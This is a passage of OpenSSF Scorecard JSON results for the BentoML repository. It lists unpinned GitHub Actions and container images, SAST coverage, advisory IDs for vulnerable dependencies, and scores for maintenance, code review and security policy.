pinned by hash: .github/workflows/ci.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:86: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:90: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:103: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:120: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:124: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:131: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:133: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:144: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:169: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:173: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:178: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:180: update your workflow using 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https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:222: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:227: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:232: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:241: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:247: update your workflow using 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.github/workflows/codeql-analysis.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cqa.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cqa.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cqa.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cqa.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:10: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: containerImage not pinned by hash: .devcontainer/Dockerfile:3: pin your Docker image by updating python:3-bullseye to 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.devcontainer/lifecycle/post-start:9","Info:   0 out of  29 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  12 third-party GitHubAction dependencies pinned","Info:   0 out of   9 containerImage dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned","Info:   0 out of   1 downloadThenRun dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 26 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code 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GHSA-rqc4-2hc7-8c8v","Warn: Project is vulnerable to: GHSA-mr82-8j83-vxmv","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: GHSA-3749-ghw9-m3mg","Warn: Project is vulnerable to: PYSEC-2022-43015 / GHSA-47fc-vmwq-366v","Warn: Project is vulnerable to: PYSEC-2025-41 / GHSA-53q9-r3pm-6pq6","Warn: Project is vulnerable to: PYSEC-2024-252 / GHSA-5pcm-hx3q-hm94","Warn: Project is vulnerable to: GHSA-887c-mr87-cxwp","Warn: Project is vulnerable to: PYSEC-2024-251 / GHSA-pg7h-5qx3-wjr3","Warn: Project is vulnerable to: PYSEC-2024-250","Warn: Project is vulnerable to: PYSEC-2024-259","Warn: Project is vulnerable to: GHSA-3c5c-7235-994j","Warn: Project is vulnerable to: GHSA-3f63-hfp8-52jq","Warn: Project is vulnerable to: PYSEC-2021-41 / GHSA-3wvg-mj6g-m9cv","Warn: Project is vulnerable to: PYSEC-2020-77 / GHSA-3xv8-3j54-hgrp","Warn: Project is vulnerable to: PYSEC-2020-80 / GHSA-43fq-w8qq-v88h","Warn: Project is vulnerable to: GHSA-44wm-f244-xhp3","Warn: Project is vulnerable to: GHSA-4fx9-vc88-q2xc","Warn: Project is vulnerable to: PYSEC-2021-35 / GHSA-57h3-9rgr-c24m","Warn: Project is vulnerable to: PYSEC-2020-172 / GHSA-5gm3-px64-rw72","Warn: Project is vulnerable to: PYSEC-2021-331 / GHSA-7534-mm45-c74v","Warn: Project is vulnerable to: PYSEC-2021-92 / GHSA-7r7m-5h27-29hp","Warn: Project is vulnerable to: PYSEC-2020-78 / GHSA-8843-m7mw-mxqm","Warn: Project is vulnerable to: PYSEC-2023-227 / GHSA-8ghj-p4vj-mr35","Warn: Project is vulnerable to: PYSEC-2014-87 / GHSA-8m9x-pxwq-j236","Warn: Project is vulnerable to: PYSEC-2022-10 / GHSA-8vj2-vxx3-667w","Warn: Project is vulnerable to: PYSEC-2021-36 / GHSA-8xjq-8fcg-g5hw","Warn: Project is vulnerable to: PYSEC-2016-6 / GHSA-8xjv-v9xq-m5h9","Warn: Project is vulnerable to: PYSEC-2021-42 / GHSA-95q3-8gr9-gm8w","Warn: Project is vulnerable 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commit(s) and 10 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":6,"reason":"Found 18/26 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices 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privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security 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GitHubAction not pinned by hash: .github/workflows/ci.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:86: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:90: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:103: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:120: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:124: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:131: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:133: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:144: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:169: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:173: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:178: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:180: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:182: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:193: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:208: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:212: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:217: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:222: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:227: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:232: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:241: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:247: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:261: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cleanup.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cleanup.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cqa.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cqa.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cqa.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cqa.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:10: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: containerImage not pinned by hash: .devcontainer/Dockerfile:3: pin your Docker image by updating python:3-bullseye to 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.devcontainer/lifecycle/post-start:9","Info:   0 out of  29 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  12 third-party GitHubAction dependencies pinned","Info:   0 out of   9 containerImage dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned","Info:   0 out of   1 downloadThenRun dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 26 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code 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GHSA-rqc4-2hc7-8c8v","Warn: Project is vulnerable to: GHSA-mr82-8j83-vxmv","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: GHSA-3749-ghw9-m3mg","Warn: Project is vulnerable to: PYSEC-2022-43015 / GHSA-47fc-vmwq-366v","Warn: Project is vulnerable to: PYSEC-2025-41 / GHSA-53q9-r3pm-6pq6","Warn: Project is vulnerable to: PYSEC-2024-252 / GHSA-5pcm-hx3q-hm94","Warn: Project is vulnerable to: GHSA-887c-mr87-cxwp","Warn: Project is vulnerable to: PYSEC-2024-251 / GHSA-pg7h-5qx3-wjr3","Warn: Project is vulnerable to: PYSEC-2024-250","Warn: Project is vulnerable to: PYSEC-2024-259","Warn: Project is vulnerable to: GHSA-3c5c-7235-994j","Warn: Project is vulnerable to: GHSA-3f63-hfp8-52jq","Warn: Project is vulnerable to: PYSEC-2021-41 / GHSA-3wvg-mj6g-m9cv","Warn: Project is vulnerable to: PYSEC-2020-77 / GHSA-3xv8-3j54-hgrp","Warn: Project is vulnerable to: PYSEC-2020-80 / GHSA-43fq-w8qq-v88h","Warn: Project is vulnerable to: GHSA-44wm-f244-xhp3","Warn: Project is vulnerable to: GHSA-4fx9-vc88-q2xc","Warn: Project is vulnerable to: PYSEC-2021-35 / GHSA-57h3-9rgr-c24m","Warn: Project is vulnerable to: PYSEC-2020-172 / GHSA-5gm3-px64-rw72","Warn: Project is vulnerable to: PYSEC-2021-331 / GHSA-7534-mm45-c74v","Warn: Project is vulnerable to: PYSEC-2021-92 / GHSA-7r7m-5h27-29hp","Warn: Project is vulnerable to: PYSEC-2020-78 / GHSA-8843-m7mw-mxqm","Warn: Project is vulnerable to: PYSEC-2023-227 / GHSA-8ghj-p4vj-mr35","Warn: Project is vulnerable to: PYSEC-2014-87 / GHSA-8m9x-pxwq-j236","Warn: Project is vulnerable to: PYSEC-2022-10 / GHSA-8vj2-vxx3-667w","Warn: Project is vulnerable to: PYSEC-2021-36 / GHSA-8xjq-8fcg-g5hw","Warn: Project is vulnerable to: PYSEC-2016-6 / GHSA-8xjv-v9xq-m5h9","Warn: Project is vulnerable to: PYSEC-2021-42 / GHSA-95q3-8gr9-gm8w","Warn: Project is vulnerable to: PYSEC-2022-168 / GHSA-9j59-75qj-795w","Warn: Project is vulnerable to: PYSEC-2014-10 / GHSA-cfmr-38g9-f2h7","Warn: Project is vulnerable to: PYSEC-2020-76 / GHSA-cqhg-xjhh-p8hf","Warn: Project is vulnerable to: PYSEC-2021-40 / GHSA-f4w8-cv6p-x6r5","Warn: Project is vulnerable to: PYSEC-2021-69 / GHSA-f5g8-5qq7-938w","Warn: Project is vulnerable to: PYSEC-2021-139 / GHSA-g6rj-rv7j-xwp4","Warn: Project is vulnerable to: PYSEC-2015-16 / GHSA-h5rf-vgqx-wjv2","Warn: Project is vulnerable to: PYSEC-2016-5 / GHSA-hggx-3h72-49ww","Warn: Project is vulnerable to: PYSEC-2020-84 / GHSA-hj69-c76v-86wr","Warn: Project is vulnerable to: PYSEC-2016-7 / GHSA-hvr8-466p-75rh","Warn: Project is vulnerable to: PYSEC-2015-15 / GHSA-j6f7-g425-4gmx","Warn: Project is vulnerable to: GHSA-j7hp-h8jx-5ppr","Warn: Project is vulnerable to: PYSEC-2019-110 / GHSA-j7mj-748x-7p78","Warn: Project is vulnerable to: GHSA-jgpv-4h4c-xhw3","Warn: Project is vulnerable to: PYSEC-2022-42979 / GHSA-m2vv-5vj5-2hm7","Warn: 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